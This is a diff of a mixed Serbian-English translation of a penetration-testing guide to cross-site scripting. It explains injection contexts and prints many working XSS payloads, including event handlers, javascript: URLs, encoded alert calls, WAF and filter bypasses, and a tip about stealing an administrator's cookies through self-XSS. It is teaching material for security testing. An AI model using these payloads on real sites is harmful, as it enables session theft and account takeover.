1. U **sirovom HTML-u**:
|
1. U **sirovom HTML-u**:
|
||||||
1. Možete li kreirati nove HTML tagove?
|
1. Možete li kreirati nove HTML tagove?
|
||||||
|
@ -30,7 +30,7 @@ Ako vas zanima **karijera u hakovanju** i da hakujete nehakovano - **zapošljava
|
||||||
4. Možete li zaobići zaštite?
|
4. Možete li zaobići zaštite?
|
||||||
4. Javascript **funkcija** koja se **izvršava**
|
4. Javascript **funkcija** koja se **izvršava**
|
||||||
1. Možete naznačiti ime funkcije koju treba izvršiti. npr.: `?callback=alert(1)`
|
1. Možete naznačiti ime funkcije koju treba izvršiti. npr.: `?callback=alert(1)`
|
||||||
4. Ako je **korisno**:
|
4. Ako je **korišćena**:
|
||||||
1. Mogli biste iskoristiti **DOM XSS**, obratite pažnju kako se vaš ulaz kontroliše i da li se vaš **kontrolisani ulaz koristi od strane bilo kog sinka.**
|
1. Mogli biste iskoristiti **DOM XSS**, obratite pažnju kako se vaš ulaz kontroliše i da li se vaš **kontrolisani ulaz koristi od strane bilo kog sinka.**
|
||||||
|
|
||||||
Kada radite na složenom XSS-u, možda će vam biti zanimljivo da znate o:
|
Kada radite na složenom XSS-u, možda će vam biti zanimljivo da znate o:
|
||||||
|
@ -41,15 +41,15 @@ Kada radite na složenom XSS-u, možda će vam biti zanimljivo da znate o:
|
||||||
|
|
||||||
## Odražene vrednosti
|
## Odražene vrednosti
|
||||||
|
|
||||||
Da biste uspešno iskoristili XSS, prva stvar koju treba da pronađete je **vrednost koju kontrolišete koja se odražava** na veb stranici.
|
Da biste uspešno iskoristili XSS, prva stvar koju treba da pronađete je **vrednost koju kontrolišete koja se odražava** na web stranici.
|
||||||
|
|
||||||
* **Intermedijarno odraženo**: Ako otkrijete da se vrednost parametra ili čak putanja odražava na veb stranici, mogli biste iskoristiti **Reflected XSS**.
|
* **Intermedijarno odražena**: Ako otkrijete da se vrednost parametra ili čak putanja odražava na web stranici, mogli biste iskoristiti **Reflected XSS**.
|
||||||
* **Skladišteno i odraženo**: Ako otkrijete da je vrednost koju kontrolišete sačuvana na serveru i odražava se svaki put kada pristupite stranici, mogli biste iskoristiti **Stored XSS**.
|
* **Skladištena i odražena**: Ako otkrijete da je vrednost koju kontrolišete sačuvana na serveru i odražava se svaki put kada pristupite stranici, mogli biste iskoristiti **Stored XSS**.
|
||||||
* **Pristupano putem JS**: Ako otkrijete da se vrednost koju kontrolišete pristupa koristeći JS, mogli biste iskoristiti **DOM XSS**.
|
* **Pristupano putem JS**: Ako otkrijete da se vrednost koju kontrolišete pristupa koristeći JS, mogli biste iskoristiti **DOM XSS**.
|
||||||
|
|
||||||
## Konteksti
|
## Konteksti
|
||||||
|
|
||||||
Kada pokušavate da iskoristite XSS, prva stvar koju treba da znate je **gde se vaš ulaz odražava**. U zavisnosti od konteksta, moći ćete da izvršite proizvoljni JS kod na različite načine.
|
Kada pokušavate da iskoristite XSS, prva stvar koju treba da znate je **gde se vaš ulaz odražava**. U zavisnosti od konteksta, moći ćete da izvršite proizvoljan JS kod na različite načine.
|
||||||
|
|
||||||
### Sirovi HTML
|
### Sirovi HTML
|
||||||
|
|
||||||
|
@ -62,8 +62,8 @@ Ako se vaš ulaz odražava unutar vrednosti atributa taga, mogli biste pokušati
|
||||||
|
|
||||||
1. Da **pobegnete iz atributa i iz taga** (onda ćete biti u sirovom HTML-u) i kreirate novi HTML tag za zloupotrebu: `"><img [...]`
|
1. Da **pobegnete iz atributa i iz taga** (onda ćete biti u sirovom HTML-u) i kreirate novi HTML tag za zloupotrebu: `"><img [...]`
|
||||||
2. Ako **možete pobjeći iz atributa, ali ne i iz taga** (`>` je kodiran ili obrisan), u zavisnosti od taga mogli biste **kreirati događaj** koji izvršava JS kod: `" autofocus onfocus=alert(1) x="`
|
2. Ako **možete pobjeći iz atributa, ali ne i iz taga** (`>` je kodiran ili obrisan), u zavisnosti od taga mogli biste **kreirati događaj** koji izvršava JS kod: `" autofocus onfocus=alert(1) x="`
|
||||||
3. Ako **ne možete pobjeći iz atributa** (`"` se kodira ili briše), onda u zavisnosti od **koji atribut** se vaša vrednost odražava **ako kontrolišete celu vrednost ili samo deo** moći ćete da je zloupotrebite. Na **primer**, ako kontrolišete događaj kao što je `onclick=`, moći ćete da ga izvršite proizvoljni kod kada se klikne. Još jedan zanimljiv **primer** je atribut `href`, gde možete koristiti `javascript:` protokol za izvršavanje proizvoljnog koda: **`href="javascript:alert(1)"`**
|
3. Ako **ne možete pobjeći iz atributa** (`"` se kodira ili briše), onda u zavisnosti od **koji atribut** se vaša vrednost odražava **ako kontrolišete celu vrednost ili samo deo** moći ćete da je zloupotrebite. Na **primer**, ako kontrolišete događaj kao što je `onclick=`, moći ćete da ga naterate da izvrši proizvoljan kod kada se klikne. Još jedan zanimljiv **primer** je atribut `href`, gde možete koristiti `javascript:` protokol za izvršavanje proizvoljnog koda: **`href="javascript:alert(1)"`**
|
||||||
4. Ako se vaš ulaz odražava unutar "**neeksploatabilnih tagova**", mogli biste pokušati trik sa **`accesskey`** da zloupotrebite ranjivost (biće vam potrebna neka vrsta socijalnog inženjeringa da to iskoristite): **`" accesskey="x" onclick="alert(1)" x="`**
|
4. Ako se vaš ulaz odražava unutar "**neiskoristivih tagova**", mogli biste pokušati trik sa **`accesskey`** da zloupotrebite ranjivost (biće vam potrebna neka vrsta socijalnog inženjeringa da biste to iskoristili): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||||
|
|
||||||
Čudan primer Angular-a koji izvršava XSS ako kontrolišete ime klase:
|
Čudan primer Angular-a koji izvršava XSS ako kontrolišete ime klase:
|
||||||
```html
|
```html
|
||||||
|
@ -165,16 +165,16 @@ U ovom slučaju i ako se ne koristi crna/bela lista, mogli biste koristiti paylo
|
||||||
<img src=x onerror=alert(1) />
|
<img src=x onerror=alert(1) />
|
||||||
<svg onload=alert('XSS')>
|
<svg onload=alert('XSS')>
|
||||||
```
|
```
|
||||||
Ali, ako se koristi crna/bela lista tagova/atributa, moraćete da **napadnete koje tagove** možete da kreirate.\
|
Ali, ako se koristi crna/bela lista tagova/atributa, moraćete da **brute-force-ujete koje tagove** možete kreirati.\
|
||||||
Kada **pronađete koji tagovi su dozvoljeni**, moraćete da **napadnete atribute/događaje** unutar pronađenih validnih tagova da biste videli kako možete napasti kontekst.
|
Kada **locirate koji tagovi su dozvoljeni**, moraćete da **brute-force-ujete atribute/događaje** unutar pronađenih validnih tagova da vidite kako možete napasti kontekst.
|
||||||
|
|
||||||
### Napad na tagove/događaje
|
### Brute-force tagova/događaja
|
||||||
|
|
||||||
Idite na [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) i kliknite na _**Kopiraj tagove u međuspremnik**_. Zatim, pošaljite sve njih koristeći Burp intruder i proverite da li neki tag nije otkriven kao zlonameran od strane WAF-a. Kada otkrijete koje tagove možete koristiti, možete **napasti sve događaje** koristeći validne tagove (na istoj web stranici kliknite na _**Kopiraj događaje u međuspremnik**_ i pratite istu proceduru kao pre).
|
Idite na [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) i kliknite na _**Copy tags to clipboard**_. Zatim, pošaljite sve njih koristeći Burp intruder i proverite da li neki tag nije otkriven kao zlonameran od strane WAF-a. Kada otkrijete koje tagove možete koristiti, možete **brute-force-ovati sve događaje** koristeći validne tagove (na istoj web stranici kliknite na _**Copy events to clipboard**_ i pratite istu proceduru kao pre).
|
||||||
|
|
||||||
### Prilagođeni tagovi
|
### Prilagođeni tagovi
|
||||||
|
|
||||||
Ako niste pronašli nijedan validan HTML tag, možete pokušati da **kreirate prilagođeni tag** i izvršite JS kod sa atributom `onfocus`. U XSS zahtevu, morate završiti URL sa `#` da biste naterali stranicu da **fokusira na taj objekat** i **izvrši** kod:
|
Ako niste pronašli nijedan validan HTML tag, možete pokušati da **kreirate prilagođeni tag** i izvršite JS kod sa `onfocus` atributom. U XSS zahtevu, morate završiti URL sa `#` da biste naterali stranicu da **fokusira na taj objekat** i **izvrši** kod:
|
||||||
```
|
```
|
||||||
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
|
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
|
||||||
```
|
```
|
||||||
|
@ -247,7 +247,7 @@ To check in which characters are decomposed check [here](https://www.compart.com
|
||||||
|
|
||||||
### Click XSS - Clickjacking
|
### Click XSS - Clickjacking
|
||||||
|
|
||||||
If in order to exploit the vulnerability you need the **korisnik to click a link or a form** with prepopulated data you could try to [**abuse Clickjacking**](../clickjacking.md#xss-clickjacking) (if the page is vulnerable).
|
If in order to exploit the vulnerability you need the **user to click a link or a form** with prepopulated data you could try to [**abuse Clickjacking**](../clickjacking.md#xss-clickjacking) (if the page is vulnerable).
|
||||||
|
|
||||||
### Impossible - Dangling Markup
|
### Impossible - Dangling Markup
|
||||||
|
|
||||||
|
@ -258,7 +258,7 @@ If you just think that **it's impossible to create an HTML tag with an attribute
|
||||||
### Inside the tag/escaping from attribute value
|
### Inside the tag/escaping from attribute value
|
||||||
|
|
||||||
If you are in **inside a HTML tag**, the first thing you could try is to **escape** from the tag and use some of the techniques mentioned in the [previous section](./#injecting-inside-raw-html) to execute JS code.\
|
If you are in **inside a HTML tag**, the first thing you could try is to **escape** from the tag and use some of the techniques mentioned in the [previous section](./#injecting-inside-raw-html) to execute JS code.\
|
||||||
If you **cannot escape from the tag**, you could create new attributes inside the tag to try to execute JS code, for example using some payload like (_note that in this example double quotes are use to escape from the attribute, you won't need them if your input is reflected directly inside the tag_):
|
If you **cannot escape from the tag**, you could create new attributes inside the tag to try to execute JS code, for example using some payload like (_napomena da se u ovom primeru koriste dvostruki navodnici za bekstvo iz atributa, nećete ih trebati ako se vaš unos direktno odražava unutar taga_):
|
||||||
```bash
|
```bash
|
||||||
" autofocus onfocus=alert(document.domain) x="
|
" autofocus onfocus=alert(document.domain) x="
|
||||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||||
|
@ -275,7 +275,7 @@ If you **cannot escape from the tag**, you could create new attributes inside th
|
||||||
```
|
```
|
||||||
### Unutar atributa
|
### Unutar atributa
|
||||||
|
|
||||||
Čak i ako **ne možete da pobegnete iz atributa** (`"` se kodira ili briše), u zavisnosti od **tog atributa** u kojem se vaša vrednost odražava **ako kontrolišete celu vrednost ili samo deo** moći ćete da je zloupotrebite. Na **primer**, ako kontrolišete događaj kao što je `onclick=`, moći ćete da ga naterate da izvrši proizvoljan kod kada se klikne.\
|
Čak i ako **ne možete da pobegnete iz atributa** (`"` se kodira ili briše), u zavisnosti od **tog atributa** u kojem se vaša vrednost odražava **ako kontrolišete celu vrednost ili samo deo** moći ćete da ga zloupotrebite. Na **primer**, ako kontrolišete događaj kao što je `onclick=`, moći ćete da ga naterate da izvrši proizvoljan kod kada se klikne.\
|
||||||
Još jedan zanimljiv **primer** je atribut `href`, gde možete koristiti `javascript:` protokol za izvršavanje proizvoljnog koda: **`href="javascript:alert(1)"`**
|
Još jedan zanimljiv **primer** je atribut `href`, gde možete koristiti `javascript:` protokol za izvršavanje proizvoljnog koda: **`href="javascript:alert(1)"`**
|
||||||
|
|
||||||
**Zaobilaženje unutar događaja koristeći HTML kodiranje/URL kodiranje**
|
**Zaobilaženje unutar događaja koristeći HTML kodiranje/URL kodiranje**
|
||||||
|
@ -303,7 +303,7 @@ Napomena da je **svaka vrsta HTML kodiranja validna**:
|
||||||
```python
|
```python
|
||||||
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
|
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
|
||||||
```
|
```
|
||||||
**Zaobilaženje unutrašnjeg događaja korišćenjem Unicode kodiranja**
|
**Obilaženje unutrašnjeg događaja korišćenjem Unicode kodiranja**
|
||||||
```javascript
|
```javascript
|
||||||
//For some reason you can use unicode to encode "alert" but not "(1)"
|
//For some reason you can use unicode to encode "alert" but not "(1)"
|
||||||
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
|
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
|
||||||
|
@ -359,7 +359,7 @@ _**U ovom slučaju, HTML kodiranje i trik sa Unicode kodiranjem iz prethodnog od
|
||||||
```javascript
|
```javascript
|
||||||
<a href="javascript:var a=''-alert(1)-''">
|
<a href="javascript:var a=''-alert(1)-''">
|
||||||
```
|
```
|
||||||
Pored toga, postoji još jedan **lepi trik** za ove slučajeve: **Čak i ako je vaš unos unutar `javascript:...` URL kodiran, biće URL dekodiran pre nego što se izvrši.** Dakle, ako treba da **izbegnete** iz **niza** koristeći **jednostruki navodnik** i vidite da **je URL kodiran**, zapamtite da **to nije važno,** biće **tumačeno** kao **jednostruki navodnik** tokom **vremena izvršenja.**
|
Pored toga, postoji još jedan **lepi trik** za ove slučajeve: **Čak i ako je vaš unos unutar `javascript:...` URL kodiran, biće URL dekodiran pre nego što se izvrši.** Dakle, ako treba da **izbegnete** iz **niza** koristeći **jednostruki navodnik** i vidite da **je URL kodiran**, zapamtite da **nije važno,** biće **tumačeno** kao **jednostruki navodnik** tokom **vremena izvršenja.**
|
||||||
```javascript
|
```javascript
|
||||||
'-alert(1)-'
|
'-alert(1)-'
|
||||||
%27-alert(1)-%27
|
%27-alert(1)-%27
|
||||||
|
@ -369,7 +369,7 @@ Napomena da ako pokušate da **koristite oba** `URLencode + HTMLencode` u bilo k
|
||||||
|
|
||||||
**Korišćenje Hex i Octal kodiranja sa `javascript:`**
|
**Korišćenje Hex i Octal kodiranja sa `javascript:`**
|
||||||
|
|
||||||
Možete koristiti **Hex** i **Octal kodiranje** unutar `src` atributa `iframe` (barem) da deklarirate **HTML tagove za izvršavanje JS**:
|
Možete koristiti **Hex** i **Octal kodiranje** unutar `src` atributa `iframe` (barem) da deklarisate **HTML tagove za izvršavanje JS**:
|
||||||
```javascript
|
```javascript
|
||||||
//Encoded: <svg onload=alert(1)>
|
//Encoded: <svg onload=alert(1)>
|
||||||
// This WORKS
|
// This WORKS
|
||||||
|
@ -381,7 +381,7 @@ Možete koristiti **Hex** i **Octal kodiranje** unutar `src` atributa `iframe` (
|
||||||
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
|
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
|
||||||
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
|
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
|
||||||
```
|
```
|
||||||
### Obrnuto nabbing taba
|
### Obrnuto tab nabbing
|
||||||
```javascript
|
```javascript
|
||||||
<a target="_blank" rel="opener"
|
<a target="_blank" rel="opener"
|
||||||
```
|
```
|
||||||
|
@ -411,7 +411,7 @@ Android: %09 %20 %28 %2C %3B
|
||||||
```
|
```
|
||||||
### XSS u "neiskoristivim tagovima" (skriveni unos, link, kanonički, meta)
|
### XSS u "neiskoristivim tagovima" (skriveni unos, link, kanonički, meta)
|
||||||
|
|
||||||
Iz [**ovde**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **sada je moguće zloupotrebiti skrivene unose sa:**
|
Sa [**ovde**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **sada je moguće zloupotrebiti skrivene unose sa:**
|
||||||
```html
|
```html
|
||||||
<button popvertarget="x">Click me</button>
|
<button popvertarget="x">Click me</button>
|
||||||
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>
|
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>
|
||||||
|
@ -424,7 +424,7 @@ I u **meta tagovima**:
|
||||||
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
||||||
<div popover id="newsletter">Newsletter popup</div>
|
<div popover id="newsletter">Newsletter popup</div>
|
||||||
```
|
```
|
||||||
Sa [**ovde**](https://portswigger.net/research/xss-in-hidden-input-fields): Možete izvršiti **XSS payload unutar skrivenog atributa**, pod uslovom da možete **ubediti** **žrtvu** da pritisne **kombinaciju tastera**. Na Firefox Windows/Linux kombinacija tastera je **ALT+SHIFT+X**, a na OS X je **CTRL+ALT+X**. Možete odrediti drugačiju kombinaciju tastera koristeći drugi taster u atributu pristupa. Evo vektora:
|
Sa [**ovde**](https://portswigger.net/research/xss-in-hidden-input-fields): Možete izvršiti **XSS payload unutar skrivenog atributa**, pod uslovom da možete **uveriti** **žrtvu** da pritisne **kombinaciju tastera**. Na Firefox Windows/Linux kombinacija tastera je **ALT+SHIFT+X**, a na OS X je **CTRL+ALT+X**. Možete odrediti drugačiju kombinaciju tastera koristeći drugi taster u atributu pristupa. Evo vektora:
|
||||||
```markup
|
```markup
|
||||||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||||||
```
|
```
|
||||||
|
@ -440,13 +440,13 @@ Nekoliko trikova sa korišćenjem različitih kodiranja je već izloženo unutar
|
||||||
* **Hex i Oktalno kodiranje**
|
* **Hex i Oktalno kodiranje**
|
||||||
* **data kodiranje**
|
* **data kodiranje**
|
||||||
|
|
||||||
**Obilaženje za HTML tagove i atribute**
|
**Obilaženja za HTML tagove i atribute**
|
||||||
|
|
||||||
Pročitajte [Obilaženje crne liste iz prethodne sekcije](./#blacklist-bypasses).
|
Pročitajte [Obilaženja crne liste iz prethodne sekcije](./#blacklist-bypasses).
|
||||||
|
|
||||||
**Obilaženje za JavaScript kod**
|
**Obilaženja za JavaScript kod**
|
||||||
|
|
||||||
Pročitajte [crnu listu obilaženja JavaScript-a iz sledeće sekcije](./#javascript-bypass-blacklists-techniques).
|
Pročitajte [crnu listu obilaženja za JavaScript iz sledeće sekcije](./#javascript-bypass-blacklists-techniques).
|
||||||
|
|
||||||
### CSS-Gadgets
|
### CSS-Gadgets
|
||||||
|
|
||||||
|
@ -454,7 +454,7 @@ Ako ste pronašli **XSS u veoma malom delu** veba koji zahteva neku vrstu intera
|
||||||
|
|
||||||
Na primer, mogli biste dodati neki stil u element kao što je: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
Na primer, mogli biste dodati neki stil u element kao što je: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||||
|
|
||||||
Ali, ako WAF filtrira stil atribut, možete koristiti CSS Styling Gadgets, tako da ako pronađete, na primer
|
Ali, ako WAF filtrira atribut stila, možete koristiti CSS Styling Gadgets, tako da ako pronađete, na primer
|
||||||
|
|
||||||
> .test {display:block; color: blue; width: 100%\}
|
> .test {display:block; color: blue; width: 100%\}
|
||||||
|
|
||||||
|
@ -470,15 +470,15 @@ Ovaj trik je preuzet sa [https://medium.com/@skavans\_/improving-the-impact-of-a
|
||||||
|
|
||||||
## Umetanje unutar JavaScript koda
|
## Umetanje unutar JavaScript koda
|
||||||
|
|
||||||
U ovim slučajevima vaša **ulazna** vrednost će biti **reflektovana unutar JS koda** `.js` fajla ili između `<script>...</script>` tagova ili između HTML događaja koji mogu izvršiti JS kod ili između atributa koji prihvataju `javascript:` protokol.
|
U ovom slučaju, vaš **ulaz** će biti **odražen unutar JS koda** `.js` fajla ili između `<script>...</script>` tagova ili između HTML događaja koji mogu izvršiti JS kod ili između atributa koji prihvataju `javascript:` protokol.
|
||||||
|
|
||||||
### Izbegavanje \<script> taga
|
### Izbegavanje \<script> taga
|
||||||
|
|
||||||
Ako je vaš kod umetnut unutar `<script> [...] var input = 'reflektovani podaci' [...] </script>` lako možete **izbeći zatvaranje `<script>`** taga:
|
Ako je vaš kod umetnut unutar `<script> [...] var input = 'odraženi podaci' [...] </script>` lako možete **izbeći zatvaranje `<script>`** taga:
|
||||||
```javascript
|
```javascript
|
||||||
</script><img src=1 onerror=alert(document.domain)>
|
</script><img src=1 onerror=alert(document.domain)>
|
||||||
```
|
```
|
||||||
Napomena da u ovom primeru **nismo ni zatvorili jednostruki navodnik**. To je zato što **HTML parsiranje prvo vrši pregledač**, što uključuje identifikaciju elemenata stranice, uključujući blokove skripti. Parsiranje JavaScript-a da bi se razumele i izvršile ugrađene skripte se vrši tek kasnije.
|
Napomena da u ovom primeru **nismo čak ni zatvorili jednostruki navodnik**. To je zato što **HTML parsiranje prvo vrši pregledač**, što uključuje identifikaciju elemenata stranice, uključujući blokove skripti. Parsiranje JavaScript-a za razumevanje i izvršavanje ugrađenih skripti se vrši tek kasnije.
|
||||||
|
|
||||||
### Unutar JS koda
|
### Unutar JS koda
|
||||||
|
|
||||||
|
@ -490,8 +490,8 @@ Ako se `<>` sanitizuju, još uvek možete **pobeći string** gde se vaš unos **
|
||||||
```
|
```
|
||||||
### Template literals \`\`
|
### Template literals \`\`
|
||||||
|
|
||||||
Da biste konstruisali **stringove** pored jednostrukih i dvostrukih navodnika, JS takođe prihvata **backticks** **` `` `**. Ovo je poznato kao template literals jer omogućava **ugrađivanje JS izraza** koristeći `${ ... }` sintaksu.\
|
Da biste konstruisali **stringove** pored jednostrukih i dvostrukih navodnika, JS takođe prihvata **obrnute navodnike** **` `` `**. Ovo je poznato kao template literals jer omogućava **ugrađivanje JS izraza** koristeći `${ ... }` sintaksu.\
|
||||||
Stoga, ako primetite da se vaš unos **reflektuje** unutar JS stringa koji koristi backticks, možete zloupotrebiti sintaksu `${ ... }` da izvršite **arbitrarni JS kod**:
|
Stoga, ako primetite da se vaš unos **reflektuje** unutar JS stringa koji koristi obrnute navodnike, možete zloupotrebiti sintaksu `${ ... }` da izvršite **arbitrarni JS kod**:
|
||||||
|
|
||||||
Ovo se može **zloupotrebiti** koristeći:
|
Ovo se može **zloupotrebiti** koristeći:
|
||||||
```javascript
|
```javascript
|
||||||
|
@ -673,7 +673,7 @@ try{throw onerror=alert}catch{throw 1}
|
||||||
* [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
|
* [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
|
||||||
* [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
|
* [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
|
||||||
|
|
||||||
**Arbitrarni poziv funkcije (alert)**
|
**Poziv proizvoljne funkcije (alert)**
|
||||||
````javascript
|
````javascript
|
||||||
//Eval like functions
|
//Eval like functions
|
||||||
eval('ale'+'rt(1)')
|
eval('ale'+'rt(1)')
|
||||||
|
@ -735,7 +735,7 @@ top[8680439..toString(30)](1)
|
||||||
````
|
````
|
||||||
## **DOM ranjivosti**
|
## **DOM ranjivosti**
|
||||||
|
|
||||||
Postoji **JS kod** koji koristi **nesigurne podatke koje kontroliše napadač** kao što je `location.href`. Napadač može iskoristiti ovo da izvrši proizvoljan JS kod.\
|
Postoji **JS kod** koji koristi **nesigurne podatke koje kontroliše napadač** kao što je `location.href`. Napadač može zloupotrebiti ovo da izvrši proizvoljan JS kod.\
|
||||||
**Zbog proširenja objašnjenja o** [**DOM ranjivostima, premešteno je na ovu stranicu**](dom-xss.md)**:**
|
**Zbog proširenja objašnjenja o** [**DOM ranjivostima, premešteno je na ovu stranicu**](dom-xss.md)**:**
|
||||||
|
|
||||||
{% content-ref url="dom-xss.md" %}
|
{% content-ref url="dom-xss.md" %}
|
||||||
|
@ -749,7 +749,7 @@ Takođe, ne zaboravite da **na kraju pomenutog posta** možete pronaći objašnj
|
||||||
|
|
||||||
### Cookie XSS
|
### Cookie XSS
|
||||||
|
|
||||||
Ako možete izazvati XSS slanjem payload-a unutar kolačića, ovo je obično self-XSS. Međutim, ako pronađete **ranjivi poddomen za XSS**, mogli biste iskoristiti ovaj XSS da injektujete kolačić u celu domenu, uspevajući da izazovete cookie XSS u glavnoj domeni ili drugim poddomenima (onim ranjivim na cookie XSS). Za ovo možete koristiti napad cookie tossing:
|
Ako možete izazvati XSS slanjem payload-a unutar kolačića, to je obično self-XSS. Međutim, ako pronađete **ranjivi poddomen za XSS**, mogli biste zloupotrebiti ovaj XSS da injektujete kolačić u celu domenu, uspevajući da izazovete cookie XSS u glavnoj domeni ili drugim poddomenama (onim ranjivim na cookie XSS). Za ovo možete koristiti napad cookie tossing:
|
||||||
|
|
||||||
{% content-ref url="../hacking-with-cookies/cookie-tossing.md" %}
|
{% content-ref url="../hacking-with-cookies/cookie-tossing.md" %}
|
||||||
[cookie-tossing.md](../hacking-with-cookies/cookie-tossing.md)
|
[cookie-tossing.md](../hacking-with-cookies/cookie-tossing.md)
|
||||||
|
@ -761,30 +761,30 @@ Možete pronaći sjajnu zloupotrebu ove tehnike u [**ovom blog postu**](https://
|
||||||
|
|
||||||
Možda korisnik može podeliti svoj profil sa administratorom i ako je self XSS unutar profila korisnika, a administrator mu pristupi, on će izazvati ranjivost.
|
Možda korisnik može podeliti svoj profil sa administratorom i ako je self XSS unutar profila korisnika, a administrator mu pristupi, on će izazvati ranjivost.
|
||||||
|
|
||||||
### Održivost sesije
|
### Odbijanje sesije
|
||||||
|
|
||||||
Ako pronađete neki self XSS i web stranica ima **održivost sesije za administratore**, na primer, omogućavajući klijentima da traže pomoć, kako bi administrator mogao da vam pomogne, videće ono što vi vidite u svojoj sesiji, ali iz svoje sesije.
|
Ako pronađete neki self XSS i web stranica ima **odbacivanje sesije za administratore**, na primer, omogućavajući klijentima da traže pomoć, kako bi administrator mogao da vam pomogne, videće ono što vi vidite u svojoj sesiji, ali iz svoje sesije.
|
||||||
|
|
||||||
Možete naterati **administratora da izazove vaš self XSS** i ukrade njegove kolačiće/sesiju.
|
Možete naterati **administratora da izazove vaš self XSS** i ukrade njegove kolačiće/sesiju.
|
||||||
|
|
||||||
## Ostali Bypass-ovi
|
## Drugi zaobilaženja
|
||||||
|
|
||||||
### Normalizovani Unicode
|
### Normalizovani Unicode
|
||||||
|
|
||||||
Možete proveriti da li su **reflektovane vrednosti** **unicode normalizovane** na serveru (ili na klijentskoj strani) i zloupotrebiti ovu funkcionalnost da zaobiđete zaštite. [**Pronađite primer ovde**](../unicode-injection/#xss-cross-site-scripting).
|
Možete proveriti da li su **reflektovane vrednosti** **unicode normalizovane** na serveru (ili na klijentskoj strani) i zloupotrebiti ovu funkcionalnost da zaobiđete zaštite. [**Pronađite primer ovde**](../unicode-injection/#xss-cross-site-scripting).
|
||||||
|
|
||||||
### PHP FILTER\_VALIDATE\_EMAIL flag Bypass
|
### PHP FILTER\_VALIDATE\_EMAIL flag zaobilaženje
|
||||||
```javascript
|
```javascript
|
||||||
"><svg/onload=confirm(1)>"@x.y
|
"><svg/onload=confirm(1)>"@x.y
|
||||||
```
|
```
|
||||||
### Ruby-On-Rails bypass
|
### Ruby-On-Rails bypass
|
||||||
|
|
||||||
Zbog **RoR masovne dodeljivanje** citati se ubacuju u HTML, a zatim se zaobilaže ograničenja citata i dodatna polja (onfocus) mogu biti dodata unutar taga.\
|
Zbog **RoR masovne dodeljivanje** citati se ubacuju u HTML, a zatim se ograničenje citata zaobilazi i dodatna polja (onfocus) mogu se dodati unutar taga.\
|
||||||
Primer forme ([iz ovog izveštaja](https://hackerone.com/reports/709336)), ako pošaljete payload:
|
Primer forme ([iz ovog izveštaja](https://hackerone.com/reports/709336)), ako pošaljete payload:
|
||||||
```
|
```
|
||||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||||
```
|
```
|
||||||
Par "Ključ","Vrednost" će biti vraćen ovako:
|
Par "Ključ","Vrednost" će biti vraćen nazad ovako:
|
||||||
```
|
```
|
||||||
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
|
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
|
||||||
```
|
```
|
||||||
|
@ -822,14 +822,14 @@ document['default'+'View'][`\u0061lert`](3)
|
||||||
```
|
```
|
||||||
### XSS sa injekcijom zaglavlja u 302 odgovoru
|
### XSS sa injekcijom zaglavlja u 302 odgovoru
|
||||||
|
|
||||||
Ako otkrijete da možete **injektovati zaglavlja u 302 Redirect odgovoru**, možete pokušati da **naterate pregledač da izvrši proizvoljni JavaScript**. Ovo je **nije trivijalno** jer moderni pregledači ne interpretiraju telo HTTP odgovora ako je statusni kod HTTP odgovora 302, tako da je samo payload za cross-site scripting beskoristan.
|
Ako otkrijete da možete **injektovati zaglavlja u 302 Redirect odgovoru**, možete pokušati da **naterate pregledač da izvrši proizvoljni JavaScript**. Ovo **nije trivijalno** jer moderni pregledači ne interpretiraju telo HTTP odgovora ako je statusni kod HTTP odgovora 302, tako da je samo payload za cross-site scripting beskoristan.
|
||||||
|
|
||||||
U [**ovoj izveštaju**](https://www.gremwell.com/firefox-xss-302) i [**ovom**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) možete pročitati kako možete testirati nekoliko protokola unutar Location zaglavlja i videti da li neki od njih omogućava pregledaču da ispita i izvrši XSS payload unutar tela.\
|
U [**ovom izveštaju**](https://www.gremwell.com/firefox-xss-302) i [**ovom**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) možete pročitati kako možete testirati nekoliko protokola unutar Location zaglavlja i videti da li neki od njih omogućava pregledaču da ispita i izvrši XSS payload unutar tela.\
|
||||||
